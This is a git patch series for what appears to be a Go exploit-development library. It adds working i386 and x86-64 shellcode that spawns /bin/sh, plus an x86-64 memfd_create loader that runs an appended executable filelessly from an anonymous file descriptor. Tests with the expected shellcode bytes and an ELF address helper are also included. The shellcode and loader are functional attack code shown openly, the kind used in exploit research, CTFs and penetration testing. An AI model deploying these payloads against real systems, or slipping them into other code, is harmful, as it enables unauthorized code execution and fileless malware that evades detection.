From 6873c1fe633c28f676ab56a36d41785b0c3e2dae Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Sat, 12 Dec 2020 00:52:41 -0500 Subject: [PATCH 1/8] i386 execve /bin/sh shellcode --- shellcode/i386.go | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 shellcode/i386.go diff --git a/shellcode/i386.go b/shellcode/i386.go new file mode 100644 index 0000000..084ff6d --- /dev/null +++ b/shellcode/i386.go @@ -0,0 +1,12 @@ +package shellcode + +var I386ExecveShell = []byte{ + 0x31, 0xc9, // xor eax, eax + 0xf7, 0xe1, // mul ecx + 0x51, // push ecx + 0x68, 0x2f, 0x2f, 0x73, 0x68, // push '//sh' + 0x68, 0x2f, 0x62, 0x69, 0x6e, // push '/bin' + 0x89, 0xe3, // mov ebx, esp + 0xb0, 0x0b, // mov al, 0xb + 0xcd, 0x80, // int 0x80 +} From 84859df29fccf6e65673762c44c1b05959c46d89 Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Sat, 12 Dec 2020 16:50:27 -0500 Subject: [PATCH 2/8] Using assembly interface for shellcode generation Created a I386 shellcode interface and calling sp.Asm to assemble to JIT compile to bytes --- shellcode/i386.go | 39 ++++++++++++++++++++++++++++++--------- shellcode/i386_test.go | 22 ++++++++++++++++++++++ 2 files changed, 52 insertions(+), 9 deletions(-) create mode 100644 shellcode/i386_test.go diff --git a/shellcode/i386.go b/shellcode/i386.go index 084ff6d..3aeb486 100644 --- a/shellcode/i386.go +++ b/shellcode/i386.go @@ -1,12 +1,33 @@ package shellcode -var I386ExecveShell = []byte{ - 0x31, 0xc9, // xor eax, eax - 0xf7, 0xe1, // mul ecx - 0x51, // push ecx - 0x68, 0x2f, 0x2f, 0x73, 0x68, // push '//sh' - 0x68, 0x2f, 0x62, 0x69, 0x6e, // push '/bin' - 0x89, 0xe3, // mov ebx, esp - 0xb0, 0x0b, // mov al, 0xb - 0xcd, 0x80, // int 0x80 +import ( + sp "github.com/zznop/sploit" +) + +type I386 struct { + arch *sp.Processor +} + +func NewI386() *I386 { + arch := &sp.Processor{ + Architecture: sp.ArchI386, + Endian: sp.LittleEndian, + } + + return &I386{ + arch: arch, + } +} + +func (i386 *I386) LinuxShell() ([]byte, error) { + instrs := `xor ecx, ecx + mul ecx + push ecx + push 0x68732f2f + push 0x6e69622f + mov ebx, esp + mov al, 0xb + int 0x80 +` + return sp.Asm(i386.arch, instrs) } diff --git a/shellcode/i386_test.go b/shellcode/i386_test.go new file mode 100644 index 0000000..27810d0 --- /dev/null +++ b/shellcode/i386_test.go @@ -0,0 +1,22 @@ +package shellcode + +import ( + "bytes" + "testing" +) + +func TestI386LinuxShell(t *testing.T) { + i386 := NewI386() + shellcode, err := i386.Shell() + if err != nil { + t.Fatal(err) + } + + scBytes := []byte{0x31, 0xc9, 0xf7, 0xe1, 0x51, 0x68, 0x2f, 0x2f, + 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, + 0xe3, 0xb0, 0x0b, 0xcd, 0x80} + + if bytes.Compare(shellcode, scBytes) != 0 { + t.Fatal("Shellcode bytes != expected") + } +} From da4560515de01a65704f6518aac10c405d13d606 Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Sat, 12 Dec 2020 16:57:46 -0500 Subject: [PATCH 3/8] Added comments to shellcode exports --- shellcode/i386.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/shellcode/i386.go b/shellcode/i386.go index 3aeb486..111e8b2 100644 --- a/shellcode/i386.go +++ b/shellcode/i386.go @@ -4,10 +4,12 @@ import ( sp "github.com/zznop/sploit" ) +// I386 is a shellcode interface for 32-bit intel processors type I386 struct { arch *sp.Processor } +// NewI386 returns a pointer to a I386 type func NewI386() *I386 { arch := &sp.Processor{ Architecture: sp.ArchI386, @@ -19,6 +21,7 @@ func NewI386() *I386 { } } +// LinuxShell is a method for JIT compiling shellcode that executes /bin/sh func (i386 *I386) LinuxShell() ([]byte, error) { instrs := `xor ecx, ecx mul ecx From 261c3c64f3e879d58de6d37550757b067d69e6af Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Sun, 13 Dec 2020 12:56:04 -0500 Subject: [PATCH 4/8] Start of x86-64 shellcode interface Added my Linux memfd_create payload shellcode from gist. Still need to add logic to append the executable and fix up the config. --- shellcode/i386.go | 17 ++++---- shellcode/i386_test.go | 2 +- shellcode/x8664.go | 90 +++++++++++++++++++++++++++++++++++++++++ shellcode/x8664_test.go | 16 ++++++++ 4 files changed, 116 insertions(+), 9 deletions(-) create mode 100644 shellcode/x8664.go create mode 100644 shellcode/x8664_test.go diff --git a/shellcode/i386.go b/shellcode/i386.go index 111e8b2..ba01e59 100644 --- a/shellcode/i386.go +++ b/shellcode/i386.go @@ -23,14 +23,15 @@ func NewI386() *I386 { // LinuxShell is a method for JIT compiling shellcode that executes /bin/sh func (i386 *I386) LinuxShell() ([]byte, error) { - instrs := `xor ecx, ecx - mul ecx - push ecx - push 0x68732f2f - push 0x6e69622f - mov ebx, esp - mov al, 0xb - int 0x80 + instrs := ` +xor ecx, ecx +mul ecx +push ecx +push 0x68732f2f +push 0x6e69622f +mov ebx, esp +mov al, 0xb +int 0x80 ` return sp.Asm(i386.arch, instrs) } diff --git a/shellcode/i386_test.go b/shellcode/i386_test.go index 27810d0..4f03fc1 100644 --- a/shellcode/i386_test.go +++ b/shellcode/i386_test.go @@ -7,7 +7,7 @@ import ( func TestI386LinuxShell(t *testing.T) { i386 := NewI386() - shellcode, err := i386.Shell() + shellcode, err := i386.LinuxShell() if err != nil { t.Fatal(err) } diff --git a/shellcode/x8664.go b/shellcode/x8664.go new file mode 100644 index 0000000..b3c9549 --- /dev/null +++ b/shellcode/x8664.go @@ -0,0 +1,90 @@ +package shellcode + +import ( + sp "github.com/zznop/sploit" +) + +type X8664 struct { + arch *sp.Processor +} + +func NewX8664() *X8664 { + arch := &sp.Processor{ + Architecture: sp.ArchX8664, + Endian: sp.LittleEndian, + } + + return &X8664{ + arch: arch, + } +} + +func (x8664 *X8664) LinuxMemFdExec() ([]byte, error) { + instrs := ` +jmp past + +executable_size: .quad 0x4141414141414141 /* fixed up with size of executable */ +fd_name: .byte 0 /* emtpy file descriptor name */ +fd_path: .ascii "/proc/self/fd/\0\0\0\0\0" /* path to file descriptor for exec call */ + +past: + mov rax, 319 /* __NR_memfd_create syscall num */ + lea rdi, [rip+fd_name] /* ptr to empty file descriptor name */ + mov rsi, 1 /* MFD_CLOEXEC (close file descriptor on exec) */ + syscall /* create anonymous fd */ + test rax, rax /* good file descriptor? */ + js done /* return if bad file descriptor */ + mov rdi, rax /* file descriptor (arg_0) */ + mov rax, 1 /* __NR_write */ + lea rsi, [rip+executable] /* pointer to executable base (arg_1) */ + mov rdx, qword [rip+executable_size] /* load size of executable into rdx (arg_2) */ + syscall /* write the executable to the fd */ + cmp rax, rdx /* did everything get written successfully? */ + jnz done /* fail out if all bytes were not written */ + call fixup_fd_path /* fixup the fd path string by converting the fd to a str */ + mov rax, 59 /* execve syscall num */ + lea rdi, [rip+fd_path] /* filename */ + xor rcx, rcx /* zeroize rcx (terminator for argv) */ + push rcx /* push 0 to stack */ + push rdi /* push address of fd path to the stack */ + mov rsi, rsp /* argv (address of fd path, null) */ + xor rdx, rdx /* envp = NULL */ + syscall /* call execve (won't return if successful) */ + add rsp, 16 /* restore the stack */ +done: + ret /* return */ + +/* + * fixup the fd path string with the file descrpitor - + * basically sprintf(foo, "/proc/self/fd/%i", fd) + */ + +fixup_fd_path: + mov rax, rdi /* number to be converted */ + mov rcx, 10 /* divisor */ + xor bx, bx /* count digits */ +.divide: + xor rdx, rdx /* high part = 0 */ + div rcx /* rcx = rcx:rax/rcx, rdx = remainder */ + push dx /* dx is a digit in range [0..9] */ + inc bx /* count digits */ + test rax, rax /* rax is 0? */ + jnz .divide /* no, continue */ + + /* pop digits from stack in reverse order */ + mov cx, bx /* number of digits */ + lea rsi, [rip+fd_path] /* rsi points to fd path string buffer */ + add rsi, 14 /* start of location to write the fd (as a string) */ +.next_digit: + pop ax + add al, '0' /* convert to ASCII */ + mov [rsi], al /* write it to the buffer */ + inc si + loop .next_digit + ret + +/* appended script or ELF executable */ +executable: +` + return sp.Asm(x8664.arch, instrs) +} diff --git a/shellcode/x8664_test.go b/shellcode/x8664_test.go new file mode 100644 index 0000000..83d7db0 --- /dev/null +++ b/shellcode/x8664_test.go @@ -0,0 +1,16 @@ +package shellcode + +import ( + "encoding/hex" + "testing" +) + +func TestX8664MemFdExec(t *testing.T) { + x8664 := NewX8664() + shellcode, err := x8664.LinuxMemFdExec() + if err != nil { + t.Fatal(err) + } + + t.Log(hex.Dump(shellcode)) +} From 98d892f3b93db21871c66c2cbdbccb0ed87eb786 Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Sun, 13 Dec 2020 13:00:18 -0500 Subject: [PATCH 5/8] Added comments to x86-64 shellcode exports --- shellcode/x8664.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/shellcode/x8664.go b/shellcode/x8664.go index b3c9549..2b00a1b 100644 --- a/shellcode/x8664.go +++ b/shellcode/x8664.go @@ -4,10 +4,12 @@ import ( sp "github.com/zznop/sploit" ) +// X8664 is a shellcode interface for 64-bit intel processors type X8664 struct { arch *sp.Processor } +// NewX8664 returns a pointer to a shellcode X8664 type func NewX8664() *X8664 { arch := &sp.Processor{ Architecture: sp.ArchX8664, @@ -19,6 +21,7 @@ func NewX8664() *X8664 { } } +// LinuxMemFdExec constructs a payload to run the supplied executable in an anonymous file descriptor func (x8664 *X8664) LinuxMemFdExec() ([]byte, error) { instrs := ` jmp past From 4ab386a4516dd2c5ffd00fa5cd2b0624af4c6da9 Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Tue, 29 Dec 2020 15:31:04 -0500 Subject: [PATCH 6/8] Fixing up memfd exec shellcode Also wrote a method to compute an ELF vaddr from file offset --- elf.go | 15 +++++++++++++++ shellcode/x8664.go | 13 +++++++++++-- shellcode/x8664_test.go | 13 ++++++++++--- 3 files changed, 36 insertions(+), 5 deletions(-) diff --git a/elf.go b/elf.go index f046ef0..eadd42f 100644 --- a/elf.go +++ b/elf.go @@ -51,6 +51,21 @@ func NewELF(filename string) (*ELF, error) { }, nil } +// OffsetToVA determines the virtual address for the specified file offset +func (e *ELF) OffsetToAddr(offset uint64) (uint64, error) { + for i := 0; i < len(e.E.Progs); i++ { + s := e.E.Progs[i] + start := s.Off + end := s.Off + s.Filesz + + if offset >= start && offset < end { + return offset - s.Off + s.Vaddr, nil + } + } + + return 0, errors.New("Offset is not in range of an ELF segment") +} + // BSS is an ELF method that returns the virtual address of the specified offset into the .bss section func (e *ELF) BSS(offset uint64) (uint64, error) { section := e.E.Section(".bss") diff --git a/shellcode/x8664.go b/shellcode/x8664.go index 2b00a1b..0597ec0 100644 --- a/shellcode/x8664.go +++ b/shellcode/x8664.go @@ -1,6 +1,7 @@ package shellcode import ( + "bytes" sp "github.com/zznop/sploit" ) @@ -22,7 +23,7 @@ func NewX8664() *X8664 { } // LinuxMemFdExec constructs a payload to run the supplied executable in an anonymous file descriptor -func (x8664 *X8664) LinuxMemFdExec() ([]byte, error) { +func (x8664 *X8664) LinuxMemFdExec(payload []byte) ([]byte, error) { instrs := ` jmp past @@ -89,5 +90,13 @@ fixup_fd_path: /* appended script or ELF executable */ executable: ` - return sp.Asm(x8664.arch, instrs) + unconfigured, err := sp.Asm(x8664.arch, instrs) + if err != nil { + return nil, err + } + + size := sp.PackUint64LE(uint64(len(payload))) + configured := bytes.Replace(unconfigured, []byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}, size, 1) + configured = append(configured, payload...) + return configured, nil } diff --git a/shellcode/x8664_test.go b/shellcode/x8664_test.go index 83d7db0..27c05f4 100644 --- a/shellcode/x8664_test.go +++ b/shellcode/x8664_test.go @@ -1,16 +1,23 @@ package shellcode import ( - "encoding/hex" "testing" ) func TestX8664MemFdExec(t *testing.T) { + payload := ` +#/bin/bash + +echo "Hello from memfd_create exec sploit shellcode" > ./success.txt +` + x8664 := NewX8664() - shellcode, err := x8664.LinuxMemFdExec() + shellcode, err := x8664.LinuxMemFdExec([]byte(payload)) if err != nil { t.Fatal(err) } - t.Log(hex.Dump(shellcode)) + if len(shellcode) != 263 { + t.Fatal("Shellcode size != 263") + } } From 97dc9ecd30f517224c3fba1746525a2f2dd9e2ed Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Wed, 30 Dec 2020 00:05:14 -0500 Subject: [PATCH 7/8] x86-64 exec /bin/sh shellcode --- shellcode/x8664.go | 20 ++++++++++++++++++++ shellcode/x8664_test.go | 18 ++++++++++++++++++ 2 files changed, 38 insertions(+) diff --git a/shellcode/x8664.go b/shellcode/x8664.go index 0597ec0..4f717f7 100644 --- a/shellcode/x8664.go +++ b/shellcode/x8664.go @@ -100,3 +100,23 @@ executable: configured = append(configured, payload...) return configured, nil } + +// LinuxShell is a method for JIT compiling x86-64 shellcode that executes /bin/sh +func (x8664 *X8664) LinuxShell() ([]byte, error) { + instrs := ` + xor eax, eax + mov rbx, 0xFF978CD091969DD1 + neg rbx + push rbx + push rsp + pop rdi + cdq + push rdx + push rdi + push rsp + pop rsi + mov al, 0x3b + syscall +` + return sp.Asm(x8664.arch, instrs) +} diff --git a/shellcode/x8664_test.go b/shellcode/x8664_test.go index 27c05f4..9719f16 100644 --- a/shellcode/x8664_test.go +++ b/shellcode/x8664_test.go @@ -1,6 +1,7 @@ package shellcode import ( + "bytes" "testing" ) @@ -21,3 +22,20 @@ echo "Hello from memfd_create exec sploit shellcode" > ./success.txt t.Fatal("Shellcode size != 263") } } + +func TestX8664LinuxShell(t *testing.T) { + x8664 := NewX8664() + shellcode, err := x8664.LinuxShell() + if err != nil { + t.Fatal(err) + } + + scBytes := []byte{0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, + 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, + 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, + 0x3b, 0x0f, 0x05} + + if bytes.Compare(shellcode, scBytes) != 0 { + t.Fatal("Shellcode bytes != expected") + } +} From dd88cf14810b8667814c8076361d3077297ecc26 Mon Sep 17 00:00:00 2001 From: Brandon Miller Date: Wed, 30 Dec 2020 00:07:30 -0500 Subject: [PATCH 8/8] Added /bin/sh exec x86-64 test to travis --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index 2b63df0..3fd31b2 100644 --- a/.travis.yml +++ b/.travis.yml @@ -39,3 +39,4 @@ script: - go test -v -run TestUnpackUint64BE - go test -v -run TestUnpackUint32BE - go test -v -run TestUnpackUint16BE + - go test -v -run TestX8664LinuxShell